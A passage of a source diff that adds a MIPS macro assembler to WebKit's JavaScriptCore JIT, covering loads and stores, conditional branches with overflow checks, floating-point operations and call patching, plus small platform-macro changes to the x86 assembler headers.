+            m_assembler.sll(addrTempRegister, address.index, address.scale);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.lui(immTempRegister, (address.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister,
+                             immTempRegister);
+            m_assembler.sw(src, addrTempRegister, address.offset);
+        }
+    }
+
+    void store32(Imm32 imm, ImplicitAddress address)
+    {
+        if (address.offset >= -32768 && address.offset <= 32767
+            && !m_fixedWidth) {
+            if (!imm.m_isPointer && !imm.m_value)
+                m_assembler.sw(MIPSRegisters::zero, address.base,
+                               address.offset);
+            else {
+                move(imm, immTempRegister);
+                m_assembler.sw(immTempRegister, address.base, address.offset);
+            }
+        } else {
+            /*
+                lui     addrTemp, (offset + 0x8000) >> 16
+                addu    addrTemp, addrTemp, base
+                sw      immTemp, (offset & 0xffff)(addrTemp)
+              */
+            m_assembler.lui(addrTempRegister, (address.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            if (!imm.m_isPointer && !imm.m_value && !m_fixedWidth)
+                m_assembler.sw(MIPSRegisters::zero, addrTempRegister,
+                               address.offset);
+            else {
+                move(imm, immTempRegister);
+                m_assembler.sw(immTempRegister, addrTempRegister,
+                               address.offset);
+            }
+        }
+    }
+
+    void store32(RegisterID src, void* address)
+    {
+        /*
+            li  addrTemp, address
+            sw  src, 0(addrTemp)
+        */
+        move(ImmPtr(address), addrTempRegister);
+        m_assembler.sw(src, addrTempRegister, 0);
+    }
+
+    void store32(Imm32 imm, void* address)
+    {
+        /*
+            li  immTemp, imm
+            li  addrTemp, address
+            sw  src, 0(addrTemp)
+        */
+        if (!imm.m_isPointer && !imm.m_value && !m_fixedWidth) {
+            move(ImmPtr(address), addrTempRegister);
+            m_assembler.sw(MIPSRegisters::zero, addrTempRegister, 0);
+        } else {
+            move(imm, immTempRegister);
+            move(ImmPtr(address), addrTempRegister);
+            m_assembler.sw(immTempRegister, addrTempRegister, 0);
+        }
+    }
+
+    // Floating-point operations:
+
+    bool supportsFloatingPoint() const
+    {
+#if WTF_MIPS_DOUBLE_FLOAT
+        return true;
+#else
+        return false;
+#endif
+    }
+
+    bool supportsFloatingPointTruncate() const
+    {
+#if WTF_MIPS_DOUBLE_FLOAT && WTF_MIPS_ISA_AT_LEAST(2)
+        return true;
+#else
+        return false;
+#endif
+    }
+
+    // Stack manipulation operations:
+    //
+    // The ABI is assumed to provide a stack abstraction to memory,
+    // containing machine word sized units of data.  Push and pop
+    // operations add and remove a single register sized unit of data
+    // to or from the stack.  Peek and poke operations read or write
+    // values on the stack, without moving the current stack position.
+
+    void pop(RegisterID dest)
+    {
+        m_assembler.lw(dest, MIPSRegisters::sp, 0);
+        m_assembler.addiu(MIPSRegisters::sp, MIPSRegisters::sp, 4);
+    }
+
+    void push(RegisterID src)
+    {
+        m_assembler.addiu(MIPSRegisters::sp, MIPSRegisters::sp, -4);
+        m_assembler.sw(src, MIPSRegisters::sp, 0);
+    }
+
+    void push(Address address)
+    {
+        load32(address, dataTempRegister);
+        push(dataTempRegister);
+    }
+
+    void push(Imm32 imm)
+    {
+        move(imm, immTempRegister);
+        push(immTempRegister);
+    }
+
+    // Register move operations:
+    //
+    // Move values in registers.
+
+    void move(Imm32 imm, RegisterID dest)
+    {
+        if (!imm.m_isPointer && !imm.m_value && !m_fixedWidth)
+            move(MIPSRegisters::zero, dest);
+        else if (imm.m_isPointer || m_fixedWidth) {
+            m_assembler.lui(dest, imm.m_value >> 16);
+            m_assembler.ori(dest, dest, imm.m_value);
+        } else
+            m_assembler.li(dest, imm.m_value);
+    }
+
+    void move(RegisterID src, RegisterID dest)
+    {
+        if (src != dest || m_fixedWidth)
+            m_assembler.move(dest, src);
+    }
+
+    void move(ImmPtr imm, RegisterID dest)
+    {
+        move(Imm32(imm), dest);
+    }
+
+    void swap(RegisterID reg1, RegisterID reg2)
+    {
+        move(reg1, immTempRegister);
+        move(reg2, reg1);
+        move(immTempRegister, reg2);
+    }
+
+    void signExtend32ToPtr(RegisterID src, RegisterID dest)
+    {
+        if (src != dest || m_fixedWidth)
+            move(src, dest);
+    }
+
+    void zeroExtend32ToPtr(RegisterID src, RegisterID dest)
+    {
+        if (src != dest || m_fixedWidth)
+            move(src, dest);
+    }
+
+    // Forwards / external control flow operations:
+    //
+    // This set of jump and conditional branch operations return a Jump
+    // object which may linked at a later point, allow forwards jump,
+    // or jumps that will require external linkage (after the code has been
+    // relocated).
+    //
+    // For branches, signed <, >, <= and >= are denoted as l, g, le, and ge
+    // respecitvely, for unsigned comparisons the names b, a, be, and ae are
+    // used (representing the names 'below' and 'above').
+    //
+    // Operands to the comparision are provided in the expected order, e.g.
+    // jle32(reg1, Imm32(5)) will branch if the value held in reg1, when
+    // treated as a signed 32bit value, is less than or equal to 5.
+    //
+    // jz and jnz test whether the first operand is equal to zero, and take
+    // an optional second operand of a mask under which to perform the test.
+
+    Jump branch32(Condition cond, RegisterID left, RegisterID right)
+    {
+        if (cond == Equal || cond == Zero)
+            return branchEqual(left, right);
+        if (cond == NotEqual || cond == NonZero)
+            return branchNotEqual(left, right);
+        if (cond == Above) {
+            m_assembler.sltu(cmpTempRegister, right, left);
+            return branchNotEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == AboveOrEqual) {
+            m_assembler.sltu(cmpTempRegister, left, right);
+            return branchEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == Below) {
+            m_assembler.sltu(cmpTempRegister, left, right);
+            return branchNotEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == BelowOrEqual) {
+            m_assembler.sltu(cmpTempRegister, right, left);
+            return branchEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == GreaterThan) {
+            m_assembler.slt(cmpTempRegister, right, left);
+            return branchNotEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == GreaterThanOrEqual) {
+            m_assembler.slt(cmpTempRegister, left, right);
+            return branchEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == LessThan) {
+            m_assembler.slt(cmpTempRegister, left, right);
+            return branchNotEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == LessThanOrEqual) {
+            m_assembler.slt(cmpTempRegister, right, left);
+            return branchEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == Overflow) {
+            /*
+                xor     cmpTemp, left, right
+                bgez    No_overflow, cmpTemp    # same sign bit -> no overflow
+                nop
+                subu    cmpTemp, left, right
+                xor     cmpTemp, cmpTemp, left
+                bgez    No_overflow, cmpTemp    # same sign bit -> no overflow
+                nop
+                b       Overflow
+                nop
+                nop
+                nop
+                nop
+                nop
+              No_overflow:
+            */
+            m_assembler.xorInsn(cmpTempRegister, left, right);
+            m_assembler.bgez(cmpTempRegister, 11);
+            m_assembler.nop();
+            m_assembler.subu(cmpTempRegister, left, right);
+            m_assembler.xorInsn(cmpTempRegister, cmpTempRegister, left);
+            m_assembler.bgez(cmpTempRegister, 7);
+            m_assembler.nop();
+            return jump();
+        }
+        if (cond == Signed) {
+            m_assembler.subu(cmpTempRegister, left, right);
+            // Check if the result is negative.
+            m_assembler.slt(cmpTempRegister, cmpTempRegister,
+                            MIPSRegisters::zero);
+            return branchNotEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        ASSERT(0);
+
+        return Jump();
+    }
+
+    Jump branch32(Condition cond, RegisterID left, Imm32 right)
+    {
+        move(right, immTempRegister);
+        return branch32(cond, left, immTempRegister);
+    }
+
+    Jump branch32(Condition cond, RegisterID left, Address right)
+    {
+        load32(right, dataTempRegister);
+        return branch32(cond, left, dataTempRegister);
+    }
+
+    Jump branch32(Condition cond, Address left, RegisterID right)
+    {
+        load32(left, dataTempRegister);
+        return branch32(cond, dataTempRegister, right);
+    }
+
+    Jump branch32(Condition cond, Address left, Imm32 right)
+    {
+        load32(left, dataTempRegister);
+        move(right, immTempRegister);
+        return branch32(cond, dataTempRegister, immTempRegister);
+    }
+
+    Jump branch32(Condition cond, BaseIndex left, Imm32 right)
+    {
+        load32(left, dataTempRegister);
+        // Be careful that the previous load32() uses immTempRegister.
+        // So, we need to put move() after load32().
+        move(right, immTempRegister);
+        return branch32(cond, dataTempRegister, immTempRegister);
+    }
+
+    Jump branch32WithUnalignedHalfWords(Condition cond, BaseIndex left, Imm32 right)
+    {
+        load32WithUnalignedHalfWords(left, dataTempRegister);
+        // Be careful that the previous load32WithUnalignedHalfWords()
+        // uses immTempRegister.
+        // So, we need to put move() after load32WithUnalignedHalfWords().
+        move(right, immTempRegister);
+        return branch32(cond, dataTempRegister, immTempRegister);
+    }
+
+    Jump branch32(Condition cond, AbsoluteAddress left, RegisterID right)
+    {
+        load32(left.m_ptr, dataTempRegister);
+        return branch32(cond, dataTempRegister, right);
+    }
+
+    Jump branch32(Condition cond, AbsoluteAddress left, Imm32 right)
+    {
+        load32(left.m_ptr, dataTempRegister);
+        move(right, immTempRegister);
+        return branch32(cond, dataTempRegister, immTempRegister);
+    }
+
+    Jump branch16(Condition cond, BaseIndex left, RegisterID right)
+    {
+        load16(left, dataTempRegister);
+        return branch32(cond, dataTempRegister, right);
+    }
+
+    Jump branch16(Condition cond, BaseIndex left, Imm32 right)
+    {
+        ASSERT(!(right.m_value & 0xFFFF0000));
+        load16(left, dataTempRegister);
+        // Be careful that the previous load16() uses immTempRegister.
+        // So, we need to put move() after load16().
+        move(right, immTempRegister);
+        return branch32(cond, dataTempRegister, immTempRegister);
+    }
+
+    Jump branchTest32(Condition cond, RegisterID reg, RegisterID mask)
+    {
+        ASSERT((cond == Zero) || (cond == NonZero));
+        m_assembler.andInsn(cmpTempRegister, reg, mask);
+        if (cond == Zero)
+            return branchEqual(cmpTempRegister, MIPSRegisters::zero);
+        return branchNotEqual(cmpTempRegister, MIPSRegisters::zero);
+    }
+
+    Jump branchTest32(Condition cond, RegisterID reg, Imm32 mask = Imm32(-1))
+    {
+        ASSERT((cond == Zero) || (cond == NonZero));
+        if (mask.m_value == -1 && !m_fixedWidth) {
+            if (cond == Zero)
+                return branchEqual(reg, MIPSRegisters::zero);
+            return branchNotEqual(reg, MIPSRegisters::zero);
+        }
+        move(mask, immTempRegister);
+        return branchTest32(cond, reg, immTempRegister);
+    }
+
+    Jump branchTest32(Condition cond, Address address, Imm32 mask = Imm32(-1))
+    {
+        load32(address, dataTempRegister);
+        return branchTest32(cond, dataTempRegister, mask);
+    }
+
+    Jump branchTest32(Condition cond, BaseIndex address, Imm32 mask = Imm32(-1))
+    {
+        load32(address, dataTempRegister);
+        return branchTest32(cond, dataTempRegister, mask);
+    }
+
+    Jump jump()
+    {
+        return branchEqual(MIPSRegisters::zero, MIPSRegisters::zero);
+    }
+
+    void jump(RegisterID target)
+    {
+        m_assembler.jr(target);
+        m_assembler.nop();
+    }
+
+    void jump(Address address)
+    {
+        m_fixedWidth = true;
+        load32(address, MIPSRegisters::t9);
+        m_assembler.jr(MIPSRegisters::t9);
+        m_assembler.nop();
+        m_fixedWidth = false;
+    }
+
+    // Arithmetic control flow operations:
+    //
+    // This set of conditional branch operations branch based
+    // on the result of an arithmetic operation.  The operation
+    // is performed as normal, storing the result.
+    //
+    // * jz operations branch if the result is zero.
+    // * jo operations branch if the (signed) arithmetic
+    //   operation caused an overflow to occur.
+
+    Jump branchAdd32(Condition cond, RegisterID src, RegisterID dest)
+    {
+        ASSERT((cond == Overflow) || (cond == Signed) || (cond == Zero) || (cond == NonZero));
+        if (cond == Overflow) {
+            /*
+                move    dest, dataTemp
+                xor     cmpTemp, dataTemp, src
+                bltz    cmpTemp, No_overflow    # diff sign bit -> no overflow
+                addu    dest, dataTemp, src
+                xor     cmpTemp, dest, dataTemp
+                bgez    cmpTemp, No_overflow    # same sign big -> no overflow
+                nop
+                b       Overflow
+                nop
+                nop
+                nop
+                nop
+                nop
+            No_overflow:
+            */
+            move(dest, dataTempRegister);
+            m_assembler.xorInsn(cmpTempRegister, dataTempRegister, src);
+            m_assembler.bltz(cmpTempRegister, 10);
+            m_assembler.addu(dest, dataTempRegister, src);
+            m_assembler.xorInsn(cmpTempRegister, dest, dataTempRegister);
+            m_assembler.bgez(cmpTempRegister, 7);
+            m_assembler.nop();
+            return jump();
+        }
+        if (cond == Signed) {
+            add32(src, dest);
+            // Check if dest is negative.
+            m_assembler.slt(cmpTempRegister, dest, MIPSRegisters::zero);
+            return branchNotEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == Zero) {
+            add32(src, dest);
+            return branchEqual(dest, MIPSRegisters::zero);
+        }
+        if (cond == NonZero) {
+            add32(src, dest);
+            return branchNotEqual(dest, MIPSRegisters::zero);
+        }
+        ASSERT(0);
+        return Jump();
+    }
+
+    Jump branchAdd32(Condition cond, Imm32 imm, RegisterID dest)
+    {
+        move(imm, immTempRegister);
+        return branchAdd32(cond, immTempRegister, dest);
+    }
+
+    Jump branchMul32(Condition cond, RegisterID src, RegisterID dest)
+    {
+        ASSERT((cond == Overflow) || (cond == Signed) || (cond == Zero) || (cond == NonZero));
+        if (cond == Overflow) {
+            /*
+                mult    src, dest
+                mfhi    dataTemp
+                mflo    dest
+                sra     addrTemp, dest, 31
+                beq     dataTemp, addrTemp, No_overflow # all sign bits (bit 63 to bit 31) are the same -> no overflow
+                nop
+                b       Overflow
+                nop
+                nop
+                nop
+                nop
+                nop
+            No_overflow:
+            */
+            m_assembler.mult(src, dest);
+            m_assembler.mfhi(dataTempRegister);
+            m_assembler.mflo(dest);
+            m_assembler.sra(addrTempRegister, dest, 31);
+            m_assembler.beq(dataTempRegister, addrTempRegister, 7);
+            m_assembler.nop();
+            return jump();
+        }
+        if (cond == Signed) {
+            mul32(src, dest);
+            // Check if dest is negative.
+            m_assembler.slt(cmpTempRegister, dest, MIPSRegisters::zero);
+            return branchNotEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == Zero) {
+            mul32(src, dest);
+            return branchEqual(dest, MIPSRegisters::zero);
+        }
+        if (cond == NonZero) {
+            mul32(src, dest);
+            return branchNotEqual(dest, MIPSRegisters::zero);
+        }
+        ASSERT(0);
+        return Jump();
+    }
+
+    Jump branchMul32(Condition cond, Imm32 imm, RegisterID src, RegisterID dest)
+    {
+        move(imm, immTempRegister);
+        move(src, dest);
+        return branchMul32(cond, immTempRegister, dest);
+    }
+
+    Jump branchSub32(Condition cond, RegisterID src, RegisterID dest)
+    {
+        ASSERT((cond == Overflow) || (cond == Signed) || (cond == Zero) || (cond == NonZero));
+        if (cond == Overflow) {
+            /*
+                move    dest, dataTemp
+                xor     cmpTemp, dataTemp, src
+                bgez    cmpTemp, No_overflow    # same sign bit -> no overflow
+                subu    dest, dataTemp, src
+                xor     cmpTemp, dest, dataTemp
+                bgez    cmpTemp, No_overflow    # same sign bit -> no overflow
+                nop
+                b       Overflow
+                nop
+                nop
+                nop
+                nop
+                nop
+            No_overflow:
+            */
+            move(dest, dataTempRegister);
+            m_assembler.xorInsn(cmpTempRegister, dataTempRegister, src);
+            m_assembler.bgez(cmpTempRegister, 10);
+            m_assembler.subu(dest, dataTempRegister, src);
+            m_assembler.xorInsn(cmpTempRegister, dest, dataTempRegister);
+            m_assembler.bgez(cmpTempRegister, 7);
+            m_assembler.nop();
+            return jump();
+        }
+        if (cond == Signed) {
+            sub32(src, dest);
+            // Check if dest is negative.
+            m_assembler.slt(cmpTempRegister, dest, MIPSRegisters::zero);
+            return branchNotEqual(cmpTempRegister, MIPSRegisters::zero);
+        }
+        if (cond == Zero) {
+            sub32(src, dest);
+            return branchEqual(dest, MIPSRegisters::zero);
+        }
+        if (cond == NonZero) {
+            sub32(src, dest);
+            return branchNotEqual(dest, MIPSRegisters::zero);
+        }
+        ASSERT(0);
+        return Jump();
+    }
+
+    Jump branchSub32(Condition cond, Imm32 imm, RegisterID dest)
+    {
+        move(imm, immTempRegister);
+        return branchSub32(cond, immTempRegister, dest);
+    }
+
+    // Miscellaneous operations:
+
+    void breakpoint()
+    {
+        m_assembler.bkpt();
+    }
+
+    Call nearCall()
+    {
+        /* We need two words for relaxation.  */
+        m_assembler.nop();
+        m_assembler.nop();
+        m_assembler.jal();
+        m_assembler.nop();
+        return Call(m_assembler.newJmpSrc(), Call::LinkableNear);
+    }
+
+    Call call()
+    {
+        m_assembler.lui(MIPSRegisters::t9, 0);
+        m_assembler.ori(MIPSRegisters::t9, MIPSRegisters::t9, 0);
+        m_assembler.jalr(MIPSRegisters::t9);
+        m_assembler.nop();
+        return Call(m_assembler.newJmpSrc(), Call::Linkable);
+    }
+
+    Call call(RegisterID target)
+    {
+        m_assembler.jalr(target);
+        m_assembler.nop();
+        return Call(m_assembler.newJmpSrc(), Call::None);
+    }
+
+    Call call(Address address)
+    {
+        m_fixedWidth = true;
+        load32(address, MIPSRegisters::t9);
+        m_assembler.jalr(MIPSRegisters::t9);
+        m_assembler.nop();
+        m_fixedWidth = false;
+        return Call(m_assembler.newJmpSrc(), Call::None);
+    }
+
+    void ret()
+    {
+        m_assembler.jr(MIPSRegisters::ra);
+        m_assembler.nop();
+    }
+
+    void set32(Condition cond, RegisterID left, RegisterID right, RegisterID dest)
+    {
+        if (cond == Equal || cond == Zero) {
+            m_assembler.xorInsn(dest, left, right);
+            m_assembler.sltiu(dest, dest, 1);
+        } else if (cond == NotEqual || cond == NonZero) {
+            m_assembler.xorInsn(dest, left, right);
+            m_assembler.sltu(dest, MIPSRegisters::zero, dest);
+        } else if (cond == Above)
+            m_assembler.sltu(dest, right, left);
+        else if (cond == AboveOrEqual) {
+            m_assembler.sltu(dest, left, right);
+            m_assembler.xori(dest, dest, 1);
+        } else if (cond == Below)
+            m_assembler.sltu(dest, left, right);
+        else if (cond == BelowOrEqual) {
+            m_assembler.sltu(dest, right, left);
+            m_assembler.xori(dest, dest, 1);
+        } else if (cond == GreaterThan)
+            m_assembler.slt(dest, right, left);
+        else if (cond == GreaterThanOrEqual) {
+            m_assembler.slt(dest, left, right);
+            m_assembler.xori(dest, dest, 1);
+        } else if (cond == LessThan)
+            m_assembler.slt(dest, left, right);
+        else if (cond == LessThanOrEqual) {
+            m_assembler.slt(dest, right, left);
+            m_assembler.xori(dest, dest, 1);
+        } else if (cond == Overflow) {
+            /*
+                xor     cmpTemp, left, right
+                bgez    Done, cmpTemp   # same sign bit -> no overflow
+                move    dest, 0
+                subu    cmpTemp, left, right
+                xor     cmpTemp, cmpTemp, left # diff sign bit -> overflow
+                slt     dest, cmpTemp, 0
+              Done:
+            */
+            m_assembler.xorInsn(cmpTempRegister, left, right);
+            m_assembler.bgez(cmpTempRegister, 4);
+            m_assembler.move(dest, MIPSRegisters::zero);
+            m_assembler.subu(cmpTempRegister, left, right);
+            m_assembler.xorInsn(cmpTempRegister, cmpTempRegister, left);
+            m_assembler.slt(dest, cmpTempRegister, MIPSRegisters::zero);
+        } else if (cond == Signed) {
+            m_assembler.subu(dest, left, right);
+            // Check if the result is negative.
+            m_assembler.slt(dest, dest, MIPSRegisters::zero);
+        }
+    }
+
+    void set32(Condition cond, RegisterID left, Imm32 right, RegisterID dest)
+    {
+        move(right, immTempRegister);
+        set32(cond, left, immTempRegister, dest);
+    }
+
+    void setTest32(Condition cond, Address address, Imm32 mask, RegisterID dest)
+    {
+        ASSERT((cond == Zero) || (cond == NonZero));
+        load32(address, dataTempRegister);
+        if (mask.m_value == -1 && !m_fixedWidth) {
+            if (cond == Zero)
+                m_assembler.sltiu(dest, dataTempRegister, 1);
+            else
+                m_assembler.sltu(dest, MIPSRegisters::zero, dataTempRegister);
+        } else {
+            move(mask, immTempRegister);
+            m_assembler.andInsn(cmpTempRegister, dataTempRegister,
+                                 immTempRegister);
+            if (cond == Zero)
+                m_assembler.sltiu(dest, cmpTempRegister, 1);
+            else
+                m_assembler.sltu(dest, MIPSRegisters::zero, cmpTempRegister);
+        }
+    }
+
+    DataLabel32 moveWithPatch(Imm32 imm, RegisterID dest)
+    {
+        m_fixedWidth = true;
+        DataLabel32 label(this);
+        move(imm, dest);
+        m_fixedWidth = false;
+        return label;
+    }
+
+    DataLabelPtr moveWithPatch(ImmPtr initialValue, RegisterID dest)
+    {
+        m_fixedWidth = true;
+        DataLabelPtr label(this);
+        move(initialValue, dest);
+        m_fixedWidth = false;
+        return label;
+    }
+
+    Jump branchPtrWithPatch(Condition cond, RegisterID left, DataLabelPtr& dataLabel, ImmPtr initialRightValue = ImmPtr(0))
+    {
+        m_fixedWidth = true;
+        dataLabel = moveWithPatch(initialRightValue, immTempRegister);
+        Jump temp = branch32(cond, left, immTempRegister);
+        m_fixedWidth = false;
+        return temp;
+    }
+
+    Jump branchPtrWithPatch(Condition cond, Address left, DataLabelPtr& dataLabel, ImmPtr initialRightValue = ImmPtr(0))
+    {
+        m_fixedWidth = true;
+        load32(left, dataTempRegister);
+        dataLabel = moveWithPatch(initialRightValue, immTempRegister);
+        Jump temp = branch32(cond, dataTempRegister, immTempRegister);
+        m_fixedWidth = false;
+        return temp;
+    }
+
+    DataLabelPtr storePtrWithPatch(ImmPtr initialValue, ImplicitAddress address)
+    {
+        m_fixedWidth = true;
+        DataLabelPtr dataLabel = moveWithPatch(initialValue, dataTempRegister);
+        store32(dataTempRegister, address);
+        m_fixedWidth = false;
+        return dataLabel;
+    }
+
+    DataLabelPtr storePtrWithPatch(ImplicitAddress address)
+    {
+        return storePtrWithPatch(ImmPtr(0), address);
+    }
+
+    Call tailRecursiveCall()
+    {
+        // Like a normal call, but don't update the returned address register
+        m_fixedWidth = true;
+        move(Imm32(0), MIPSRegisters::t9);
+        m_assembler.jr(MIPSRegisters::t9);
+        m_assembler.nop();
+        m_fixedWidth = false;
+        return Call(m_assembler.newJmpSrc(), Call::Linkable);
+    }
+
+    Call makeTailRecursiveCall(Jump oldJump)
+    {
+        oldJump.link(this);
+        return tailRecursiveCall();
+    }
+
+    void loadDouble(ImplicitAddress address, FPRegisterID dest)
+    {
+#if WTF_MIPS_ISA(1)
+        /*
+            li          addrTemp, address.offset
+            addu        addrTemp, addrTemp, base
+            lwc1        dest, 0(addrTemp)
+            lwc1        dest+1, 4(addrTemp)
+         */
+        move(Imm32(address.offset), addrTempRegister);
+        m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+        m_assembler.lwc1(dest, addrTempRegister, 0);
+        m_assembler.lwc1(FPRegisterID(dest + 1), addrTempRegister, 4);
+#else
+        if (address.offset >= -32768 && address.offset <= 32767
+            && !m_fixedWidth) {
+            m_assembler.ldc1(dest, address.base, address.offset);
+        } else {
+            /*
+                lui     addrTemp, (offset + 0x8000) >> 16
+                addu    addrTemp, addrTemp, base
+                ldc1    dest, (offset & 0xffff)(addrTemp)
+              */
+            m_assembler.lui(addrTempRegister, (address.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.ldc1(dest, addrTempRegister, address.offset);
+        }
+#endif
+    }
+
+    void storeDouble(FPRegisterID src, ImplicitAddress address)
+    {
+#if WTF_MIPS_ISA(1)
+        /*
+            li          addrTemp, address.offset
+            addu        addrTemp, addrTemp, base
+            swc1        dest, 0(addrTemp)
+            swc1        dest+1, 4(addrTemp)
+         */
+        move(Imm32(address.offset), addrTempRegister);
+        m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+        m_assembler.swc1(src, addrTempRegister, 0);
+        m_assembler.swc1(FPRegisterID(src + 1), addrTempRegister, 4);
+#else
+        if (address.offset >= -32768 && address.offset <= 32767
+            && !m_fixedWidth)
+            m_assembler.sdc1(src, address.base, address.offset);
+        else {
+            /*
+                lui     addrTemp, (offset + 0x8000) >> 16
+                addu    addrTemp, addrTemp, base
+                sdc1    src, (offset & 0xffff)(addrTemp)
+              */
+            m_assembler.lui(addrTempRegister, (address.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.sdc1(src, addrTempRegister, address.offset);
+        }
+#endif
+    }
+
+    void addDouble(FPRegisterID src, FPRegisterID dest)
+    {
+        m_assembler.addd(dest, dest, src);
+    }
+
+    void addDouble(Address src, FPRegisterID dest)
+    {
+        loadDouble(src, fpTempRegister);
+        m_assembler.addd(dest, dest, fpTempRegister);
+    }
+
+    void subDouble(FPRegisterID src, FPRegisterID dest)
+    {
+        m_assembler.subd(dest, dest, src);
+    }
+
+    void subDouble(Address src, FPRegisterID dest)
+    {
+        loadDouble(src, fpTempRegister);
+        m_assembler.subd(dest, dest, fpTempRegister);
+    }
+
+    void mulDouble(FPRegisterID src, FPRegisterID dest)
+    {
+        m_assembler.muld(dest, dest, src);
+    }
+
+    void mulDouble(Address src, FPRegisterID dest)
+    {
+        loadDouble(src, fpTempRegister);
+        m_assembler.muld(dest, dest, fpTempRegister);
+    }
+
+    void convertInt32ToDouble(RegisterID src, FPRegisterID dest)
+    {
+        m_assembler.mtc1(src, fpTempRegister);
+        m_assembler.cvtdw(dest, fpTempRegister);
+    }
+
+    void insertRelaxationWords()
+    {
+        /* We need four words for relaxation. */
+        m_assembler.beq(MIPSRegisters::zero, MIPSRegisters::zero, 3); // Jump over nops;
+        m_assembler.nop();
+        m_assembler.nop();
+        m_assembler.nop();
+    }
+
+    Jump branchTrue()
+    {
+        m_assembler.appendJump();
+        m_assembler.bc1t();
+        m_assembler.nop();
+        insertRelaxationWords();
+        return Jump(m_assembler.newJmpSrc());
+    }
+
+    Jump branchFalse()
+    {
+        m_assembler.appendJump();
+        m_assembler.bc1f();
+        m_assembler.nop();
+        insertRelaxationWords();
+        return Jump(m_assembler.newJmpSrc());
+    }
+
+    Jump branchEqual(RegisterID rs, RegisterID rt)
+    {
+        m_assembler.appendJump();
+        m_assembler.beq(rs, rt, 0);
+        m_assembler.nop();
+        insertRelaxationWords();
+        return Jump(m_assembler.newJmpSrc());
+    }
+
+    Jump branchNotEqual(RegisterID rs, RegisterID rt)
+    {
+        m_assembler.appendJump();
+        m_assembler.bne(rs, rt, 0);
+        m_assembler.nop();
+        insertRelaxationWords();
+        return Jump(m_assembler.newJmpSrc());
+    }
+
+    Jump branchDouble(DoubleCondition cond, FPRegisterID left, FPRegisterID right)
+    {
+        if (cond == DoubleEqual) {
+            m_assembler.ceqd(left, right);
+            return branchTrue();
+        }
+        if (cond == DoubleNotEqual) {
+            m_assembler.ceqd(left, right);
+            return branchFalse(); // false
+        }
+        if (cond == DoubleGreaterThan) {
+            m_assembler.cngtd(left, right);
+            return branchFalse(); // false
+        }
+        if (cond == DoubleGreaterThanOrEqual) {
+            m_assembler.cnged(right, left);
+            return branchFalse(); // false
+        }
+        if (cond == DoubleLessThan) {
+            m_assembler.cltd(left, right);
+            return branchTrue();
+        }
+        if (cond == DoubleLessThanOrEqual) {
+            m_assembler.cled(left, right);
+            return branchTrue();
+        }
+        if (cond == DoubleEqualOrUnordered) {
+            m_assembler.cueqd(left, right);
+            return branchTrue();
+        }
+        if (cond == DoubleGreaterThanOrUnordered) {
+            m_assembler.coled(left, right);
+            return branchFalse(); // false
+        }
+        if (cond == DoubleGreaterThanOrEqualOrUnordered) {
+            m_assembler.coltd(left, right);
+            return branchFalse(); // false
+        }
+        if (cond == DoubleLessThanOrUnordered) {
+            m_assembler.cultd(left, right);
+            return branchTrue();
+        }
+        if (cond == DoubleLessThanOrEqualOrUnordered) {
+            m_assembler.culed(left, right);
+            return branchTrue();
+        }
+        ASSERT(0);
+
+        return Jump();
+    }
+
+    // Truncates 'src' to an integer, and places the resulting 'dest'.
+    // If the result is not representable as a 32 bit value, branch.
+    // May also branch for some values that are representable in 32 bits
+    // (specifically, in this case, INT_MAX 0x7fffffff).
+    Jump branchTruncateDoubleToInt32(FPRegisterID src, RegisterID dest)
+    {
+        m_assembler.truncwd(fpTempRegister, src);
+        m_assembler.mfc1(dest, fpTempRegister);
+        return branch32(Equal, dest, Imm32(0x7fffffff));
+    }
+
+private:
+    // If m_fixedWidth is true, we will generate a fixed number of instructions.
+    // Otherwise, we can emit any number of instructions.
+    bool m_fixedWidth;
+
+    friend class LinkBuffer;
+    friend class RepatchBuffer;
+
+    static void linkCall(void* code, Call call, FunctionPtr function)
+    {
+        MIPSAssembler::linkCall(code, call.m_jmp, function.value());
+    }
+
+    static void repatchCall(CodeLocationCall call, CodeLocationLabel destination)
+    {
+        MIPSAssembler::relinkCall(call.dataLocation(), destination.executableAddress());
+    }
+
+    static void repatchCall(CodeLocationCall call, FunctionPtr destination)
+    {
+        MIPSAssembler::relinkCall(call.dataLocation(), destination.executableAddress());
+    }
+
+};
+
+}
+
+#endif // ENABLE(ASSEMBLER) && CPU(MIPS)
+
+#endif // MacroAssemblerMIPS_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86.h b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86.h
index 6e96240..0366541 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86.h
@@ -26,9 +26,7 @@
 #ifndef MacroAssemblerX86_h
 #define MacroAssemblerX86_h
 
-#include <wtf/Platform.h>
-
-#if ENABLE(ASSEMBLER) && PLATFORM(X86)
+#if ENABLE(ASSEMBLER) && CPU(X86)
 
 #include "MacroAssemblerX86Common.h"
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86Common.h b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86Common.h
index 5ebefa7..073f563 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86Common.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86Common.h
@@ -26,8 +26,6 @@
